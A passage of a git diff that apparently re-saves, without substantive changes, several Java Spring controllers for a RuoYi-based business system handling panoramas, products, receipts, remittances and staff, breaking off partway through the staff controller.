org.dromara.common.mybatis.core.page.TableDataInfo; - -/** - * 全景 - * - * @author Maosw - * @date 2025-03-26 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/work/panorama") -public class TpPanoramaController extends BaseController { - - private final ITpPanoramaService tpPanoramaService; - - /** - * 查询全景列表 - */ - @SaCheckPermission("work:panorama:list") - @GetMapping("/list") - public TableDataInfo list(TpPanoramaBo bo, PageQuery pageQuery) { - return tpPanoramaService.queryPageList(bo, pageQuery); - } - - /** - * 根据订单ID查询全景列表 - */ - @GetMapping("/listByOrderId") - public R> listByOrderId(TpPanoramaBo bo) { - return R.ok(tpPanoramaService.queryList(bo)); - } - - /** - * 导出全景列表 - */ - @SaCheckPermission("work:panorama:export") - @Log(title = "全景", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TpPanoramaBo bo, HttpServletResponse response) { - List list = tpPanoramaService.queryList(bo); - ExcelUtil.exportExcel(list, "全景", TpPanoramaVo.class, response); - } - - /** - * 获取全景详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("work:panorama:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tpPanoramaService.queryById(id)); - } - - /** - * 新增全景 - */ - @SaCheckPermission("work:panorama:add") - @Log(title = "全景", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TpPanoramaBo bo) { - return toAjax(tpPanoramaService.insertByBo(bo)); - } - - /** - * 修改全景 - */ - @SaCheckPermission("work:panorama:edit") - @Log(title = "全景", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TpPanoramaBo bo) { - return toAjax(tpPanoramaService.updateByBo(bo)); - } - - /** - * 删除全景 - * - * @param ids 主键串 - */ - @SaCheckPermission("work:panorama:remove") - @Log(title = "全景", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tpPanoramaService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.work.controller; + +import java.util.List; + +import lombok.RequiredArgsConstructor; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.*; +import cn.dev33.satoken.annotation.SaCheckPermission; +import org.springframework.web.bind.annotation.*; +import org.springframework.validation.annotation.Validated; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.web.core.BaseController; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.work.domain.vo.TpPanoramaVo; +import org.dromara.work.domain.bo.TpPanoramaBo; +import org.dromara.work.service.ITpPanoramaService; +import org.dromara.common.mybatis.core.page.TableDataInfo; + +/** + * 全景 + * + * @author Maosw + * @date 2025-03-26 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/panorama") +public class TpPanoramaController extends BaseController { + + private final ITpPanoramaService tpPanoramaService; + + /** + * 查询全景列表 + */ + @SaCheckPermission("work:panorama:list") + @GetMapping("/list") + public TableDataInfo list(TpPanoramaBo bo, PageQuery pageQuery) { + return tpPanoramaService.queryPageList(bo, pageQuery); + } + + /** + * 根据订单ID查询全景列表 + */ + @GetMapping("/listByOrderId") + public R> listByOrderId(TpPanoramaBo bo) { + return R.ok(tpPanoramaService.queryList(bo)); + } + + /** + * 导出全景列表 + */ + @SaCheckPermission("work:panorama:export") + @Log(title = "全景", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpPanoramaBo bo, HttpServletResponse response) { + List list = tpPanoramaService.queryList(bo); + ExcelUtil.exportExcel(list, "全景", TpPanoramaVo.class, response); + } + + /** + * 获取全景详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:panorama:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpPanoramaService.queryById(id)); + } + + /** + * 新增全景 + */ + @SaCheckPermission("work:panorama:add") + @Log(title = "全景", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpPanoramaBo bo) { + return toAjax(tpPanoramaService.insertByBo(bo)); + } + + /** + * 修改全景 + */ + @SaCheckPermission("work:panorama:edit") + @Log(title = "全景", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpPanoramaBo bo) { + return toAjax(tpPanoramaService.updateByBo(bo)); + } + + /** + * 删除全景 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:panorama:remove") + @Log(title = "全景", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpPanoramaService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpProdController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpProdController.java index 7505196..459b755 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpProdController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpProdController.java @@ -1,106 +1,106 @@ -package org.dromara.work.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.work.domain.bo.TpProdBo; -import org.dromara.work.domain.vo.TpProdVo; -import org.dromara.work.service.ITpProdService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 商品 - * - * @author Maosw - * @date 2025-03-15 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/work/prod") -public class TpProdController extends BaseController { - - private final ITpProdService tpProdService; - - /** - * 查询商品列表 - */ - @SaCheckPermission("work:prod:list") - @GetMapping("/list") - public TableDataInfo list(TpProdBo bo, PageQuery pageQuery) { - return tpProdService.queryPageList(bo, pageQuery); - } - - /** - * 导出商品列表 - */ - @SaCheckPermission("work:prod:export") - @Log(title = "商品", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TpProdBo bo, HttpServletResponse response) { - List list = tpProdService.queryList(bo); - ExcelUtil.exportExcel(list, "商品", TpProdVo.class, response); - } - - /** - * 获取商品详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("work:prod:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tpProdService.queryById(id)); - } - - /** - * 新增商品 - */ - @SaCheckPermission("work:prod:add") - @Log(title = "商品", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TpProdBo bo) { - return toAjax(tpProdService.insertByBo(bo)); - } - - /** - * 修改商品 - */ - @SaCheckPermission("work:prod:edit") - @Log(title = "商品", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TpProdBo bo) { - return toAjax(tpProdService.updateByBo(bo)); - } - - /** - * 删除商品 - * - * @param ids 主键串 - */ - @SaCheckPermission("work:prod:remove") - @Log(title = "商品", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tpProdService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.work.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.work.domain.bo.TpProdBo; +import org.dromara.work.domain.vo.TpProdVo; +import org.dromara.work.service.ITpProdService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 商品 + * + * @author Maosw + * @date 2025-03-15 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/prod") +public class TpProdController extends BaseController { + + private final ITpProdService tpProdService; + + /** + * 查询商品列表 + */ + @SaCheckPermission("work:prod:list") + @GetMapping("/list") + public TableDataInfo list(TpProdBo bo, PageQuery pageQuery) { + return tpProdService.queryPageList(bo, pageQuery); + } + + /** + * 导出商品列表 + */ + @SaCheckPermission("work:prod:export") + @Log(title = "商品", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpProdBo bo, HttpServletResponse response) { + List list = tpProdService.queryList(bo); + ExcelUtil.exportExcel(list, "商品", TpProdVo.class, response); + } + + /** + * 获取商品详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:prod:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpProdService.queryById(id)); + } + + /** + * 新增商品 + */ + @SaCheckPermission("work:prod:add") + @Log(title = "商品", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpProdBo bo) { + return toAjax(tpProdService.insertByBo(bo)); + } + + /** + * 修改商品 + */ + @SaCheckPermission("work:prod:edit") + @Log(title = "商品", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpProdBo bo) { + return toAjax(tpProdService.updateByBo(bo)); + } + + /** + * 删除商品 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:prod:remove") + @Log(title = "商品", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpProdService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpReceiptController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpReceiptController.java index 0652ee5..2a11bd1 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpReceiptController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpReceiptController.java @@ -1,178 +1,178 @@ -package org.dromara.work.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import cn.hutool.core.util.ObjectUtil; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.domain.dto.RoleDTO; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.common.web.core.BaseController; -import org.dromara.work.domain.bo.TpReceiptBo; -import org.dromara.work.domain.vo.ReceiptSumVo; -import org.dromara.work.domain.vo.TpReceiptVo; -import org.dromara.work.service.ITpReceiptService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; -import java.util.concurrent.TimeUnit; - -/** - * 收款管理 - * - * @author Maosw - * @date 2024-08-12 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/work/receipt") -public class TpReceiptController extends BaseController { - - private final ITpReceiptService tpReceiptService; - - /** - * 查询收款管理列表 - */ - @SaCheckPermission("work:receipt:list") - @GetMapping("/list") - public TableDataInfo list(TpReceiptBo bo, PageQuery pageQuery) { - LoginUser loginUser = LoginHelper.getLoginUser(); - if(loginUser.getIdentity() == 2){ - throw new ServiceException("您无权限查看汇款信息"); - } - return tpReceiptService.queryPageList(bo, pageQuery); - } - - - /** - * 查询收款统计信息 - */ - @SaCheckPermission("work:receiptSum:list") - @GetMapping("/receiptSum") - public R receiptSum(TpReceiptBo bo) { - LoginUser loginUser = LoginHelper.getLoginUser(); - if(loginUser.getIdentity() == 2){ - throw new ServiceException("您无权限查看汇款信息"); - } - return R.ok(tpReceiptService.queryListSum(bo)); - } - - - /** - * 导出收款管理列表 - */ - @SaCheckPermission("work:receipt:export") - @Log(title = "收款管理", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TpReceiptBo bo, HttpServletResponse response) { - LoginUser loginUser = LoginHelper.getLoginUser(); - if(loginUser.getIdentity() == 2){ - throw new ServiceException("您无权限查看汇款信息"); - } - List list = tpReceiptService.queryList(bo); - ExcelUtil.exportExcel(list, "收款管理", TpReceiptVo.class, response); - } - - /** - * 获取收款管理详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("work:receipt:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tpReceiptService.queryById(id)); - } - - /** - * 新增收款管理 - */ - @SaCheckPermission("work:receipt:add") - @Log(title = "收款管理", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TpReceiptBo bo) { - return toAjax(tpReceiptService.insertByBo(bo)); - } - - /** - * 修改收款管理 - */ - /*@SaCheckPermission("work:receipt:edit") - @Log(title = "收款管理", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TpReceiptBo bo) { - return toAjax(tpReceiptService.updateByBo(bo)); - }*/ - - /** - * 认领汇款 - */ - @SaCheckPermission("work:receipt:claim") - @Log(title = "认领汇款", businessType = BusinessType.UPDATE) - @PostMapping("/claim") - @RepeatSubmit(interval = 5,timeUnit = TimeUnit.SECONDS,message = "不允许重复提交") - public R claim(@RequestBody TpReceiptBo bo) { - if(ObjectUtil.isNull(bo.getCid())){ - return R.fail("客户ID不能为空"); - } - - LoginUser loginUser = LoginHelper.getLoginUser(); - List list1 = loginUser.getRoles(); - boolean isRole = list1.stream().anyMatch(role -> role.getRoleId() == 1 || role.getRoleId() == 2); - if(!isRole){ - if(loginUser.getIdentity() == 2){ - throw new ServiceException("您无认领汇款权限"); - } - } - return toAjax(tpReceiptService.updateClaimByBo(bo)); - } - - - /** - * 回退汇款 - */ - @SaCheckPermission("work:receipt:back") - @Log(title = "回退汇款", businessType = BusinessType.UPDATE) - @PostMapping("/back") - @RepeatSubmit(interval = 5,timeUnit = TimeUnit.SECONDS,message = "不允许重复提交") - public R back(@RequestBody TpReceiptBo bo) { - /*LoginUser loginUser = LoginHelper.getLoginUser(); - List list1 = loginUser.getRoles(); - boolean isRole = list1.stream().anyMatch(role -> role.getRoleId() == 1 || role.getRoleId() == 2); - if(!isRole){ - if(loginUser.getIdentity() == 2 || loginUser.getIdentity() == 3 || loginUser.getIdentity() == 4){ - throw new ServiceException("您无回退汇款权限"); - } - }*/ - return toAjax(tpReceiptService.updateBackByBo(bo)); - } - - /** - * 作废汇款 - * - * @param ids 主键串 - */ - @SaCheckPermission("work:receipt:remove") - @Log(title = "作废汇款", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tpReceiptService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.work.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import cn.hutool.core.util.ObjectUtil; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.domain.dto.RoleDTO; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.common.web.core.BaseController; +import org.dromara.work.domain.bo.TpReceiptBo; +import org.dromara.work.domain.vo.ReceiptSumVo; +import org.dromara.work.domain.vo.TpReceiptVo; +import org.dromara.work.service.ITpReceiptService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; +import java.util.concurrent.TimeUnit; + +/** + * 收款管理 + * + * @author Maosw + * @date 2024-08-12 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/receipt") +public class TpReceiptController extends BaseController { + + private final ITpReceiptService tpReceiptService; + + /** + * 查询收款管理列表 + */ + @SaCheckPermission("work:receipt:list") + @GetMapping("/list") + public TableDataInfo list(TpReceiptBo bo, PageQuery pageQuery) { + LoginUser loginUser = LoginHelper.getLoginUser(); + if(loginUser.getIdentity() == 2){ + throw new ServiceException("您无权限查看汇款信息"); + } + return tpReceiptService.queryPageList(bo, pageQuery); + } + + + /** + * 查询收款统计信息 + */ + @SaCheckPermission("work:receiptSum:list") + @GetMapping("/receiptSum") + public R receiptSum(TpReceiptBo bo) { + LoginUser loginUser = LoginHelper.getLoginUser(); + if(loginUser.getIdentity() == 2){ + throw new ServiceException("您无权限查看汇款信息"); + } + return R.ok(tpReceiptService.queryListSum(bo)); + } + + + /** + * 导出收款管理列表 + */ + @SaCheckPermission("work:receipt:export") + @Log(title = "收款管理", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpReceiptBo bo, HttpServletResponse response) { + LoginUser loginUser = LoginHelper.getLoginUser(); + if(loginUser.getIdentity() == 2){ + throw new ServiceException("您无权限查看汇款信息"); + } + List list = tpReceiptService.queryList(bo); + ExcelUtil.exportExcel(list, "收款管理", TpReceiptVo.class, response); + } + + /** + * 获取收款管理详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:receipt:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpReceiptService.queryById(id)); + } + + /** + * 新增收款管理 + */ + @SaCheckPermission("work:receipt:add") + @Log(title = "收款管理", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpReceiptBo bo) { + return toAjax(tpReceiptService.insertByBo(bo)); + } + + /** + * 修改收款管理 + */ + /*@SaCheckPermission("work:receipt:edit") + @Log(title = "收款管理", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpReceiptBo bo) { + return toAjax(tpReceiptService.updateByBo(bo)); + }*/ + + /** + * 认领汇款 + */ + @SaCheckPermission("work:receipt:claim") + @Log(title = "认领汇款", businessType = BusinessType.UPDATE) + @PostMapping("/claim") + @RepeatSubmit(interval = 5,timeUnit = TimeUnit.SECONDS,message = "不允许重复提交") + public R claim(@RequestBody TpReceiptBo bo) { + if(ObjectUtil.isNull(bo.getCid())){ + return R.fail("客户ID不能为空"); + } + + LoginUser loginUser = LoginHelper.getLoginUser(); + List list1 = loginUser.getRoles(); + boolean isRole = list1.stream().anyMatch(role -> role.getRoleId() == 1 || role.getRoleId() == 2); + if(!isRole){ + if(loginUser.getIdentity() == 2){ + throw new ServiceException("您无认领汇款权限"); + } + } + return toAjax(tpReceiptService.updateClaimByBo(bo)); + } + + + /** + * 回退汇款 + */ + @SaCheckPermission("work:receipt:back") + @Log(title = "回退汇款", businessType = BusinessType.UPDATE) + @PostMapping("/back") + @RepeatSubmit(interval = 5,timeUnit = TimeUnit.SECONDS,message = "不允许重复提交") + public R back(@RequestBody TpReceiptBo bo) { + /*LoginUser loginUser = LoginHelper.getLoginUser(); + List list1 = loginUser.getRoles(); + boolean isRole = list1.stream().anyMatch(role -> role.getRoleId() == 1 || role.getRoleId() == 2); + if(!isRole){ + if(loginUser.getIdentity() == 2 || loginUser.getIdentity() == 3 || loginUser.getIdentity() == 4){ + throw new ServiceException("您无回退汇款权限"); + } + }*/ + return toAjax(tpReceiptService.updateBackByBo(bo)); + } + + /** + * 作废汇款 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:receipt:remove") + @Log(title = "作废汇款", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpReceiptService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpRemittanceController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpRemittanceController.java index ae25d09..daa6d09 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpRemittanceController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpRemittanceController.java @@ -1,106 +1,106 @@ -package org.dromara.work.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.work.domain.bo.TpRemittanceBo; -import org.dromara.work.domain.vo.TpRemittanceVo; -import org.dromara.work.service.ITpRemittanceService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 汇款 - * - * @author Maosw - * @date 2024-08-12 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/work/remittance") -public class TpRemittanceController extends BaseController { - - private final ITpRemittanceService tpRemittanceService; - - /** - * 查询汇款列表 - */ - @SaCheckPermission("work:remittance:list") - @GetMapping("/list") - public TableDataInfo list(TpRemittanceBo bo, PageQuery pageQuery) { - return tpRemittanceService.queryPageList(bo, pageQuery); - } - - /** - * 导出汇款列表 - */ - @SaCheckPermission("work:remittance:export") - @Log(title = "汇款", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TpRemittanceBo bo, HttpServletResponse response) { - List list = tpRemittanceService.queryList(bo); - ExcelUtil.exportExcel(list, "汇款", TpRemittanceVo.class, response); - } - - /** - * 获取汇款详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("work:remittance:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tpRemittanceService.queryById(id)); - } - - /** - * 新增汇款 - */ - @SaCheckPermission("work:remittance:add") - @Log(title = "汇款", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TpRemittanceBo bo) { - return toAjax(tpRemittanceService.insertByBo(bo)); - } - - /** - * 修改汇款 - */ - @SaCheckPermission("work:remittance:edit") - @Log(title = "汇款", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TpRemittanceBo bo) { - return toAjax(tpRemittanceService.updateByBo(bo)); - } - - /** - * 删除汇款 - * - * @param ids 主键串 - */ - @SaCheckPermission("work:remittance:remove") - @Log(title = "汇款", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tpRemittanceService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.work.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.work.domain.bo.TpRemittanceBo; +import org.dromara.work.domain.vo.TpRemittanceVo; +import org.dromara.work.service.ITpRemittanceService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 汇款 + * + * @author Maosw + * @date 2024-08-12 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/remittance") +public class TpRemittanceController extends BaseController { + + private final ITpRemittanceService tpRemittanceService; + + /** + * 查询汇款列表 + */ + @SaCheckPermission("work:remittance:list") + @GetMapping("/list") + public TableDataInfo list(TpRemittanceBo bo, PageQuery pageQuery) { + return tpRemittanceService.queryPageList(bo, pageQuery); + } + + /** + * 导出汇款列表 + */ + @SaCheckPermission("work:remittance:export") + @Log(title = "汇款", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpRemittanceBo bo, HttpServletResponse response) { + List list = tpRemittanceService.queryList(bo); + ExcelUtil.exportExcel(list, "汇款", TpRemittanceVo.class, response); + } + + /** + * 获取汇款详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:remittance:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpRemittanceService.queryById(id)); + } + + /** + * 新增汇款 + */ + @SaCheckPermission("work:remittance:add") + @Log(title = "汇款", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpRemittanceBo bo) { + return toAjax(tpRemittanceService.insertByBo(bo)); + } + + /** + * 修改汇款 + */ + @SaCheckPermission("work:remittance:edit") + @Log(title = "汇款", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpRemittanceBo bo) { + return toAjax(tpRemittanceService.updateByBo(bo)); + } + + /** + * 删除汇款 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:remittance:remove") + @Log(title = "汇款", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpRemittanceService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpStaffController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpStaffController.java index 3296cf3..4354386 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpStaffController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpStaffController.java @@ -1,106 +1,106 @@ -package org.dromara.work.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.work.domain.bo.TpStaffBo; -import org.dromara.work.domain.vo.TpStaffVo; -import org.dromara.work.service.ITpStaffService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 人员 - * - * @author Maosw - * @date 2024-08-12 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/work/staff") -public class TpStaffController extends BaseController { - - private final ITpStaffService tpStaffService; - - /** - * 查询人员列表 - */ - @SaCheckPermission("work:staff:list") - @GetMapping("/list") - public TableDataInfo list(TpStaffBo bo, PageQuery pageQuery) { - return tpStaffService.queryPageList(bo, pageQuery); - } - - /** - * 导出人员列表 - 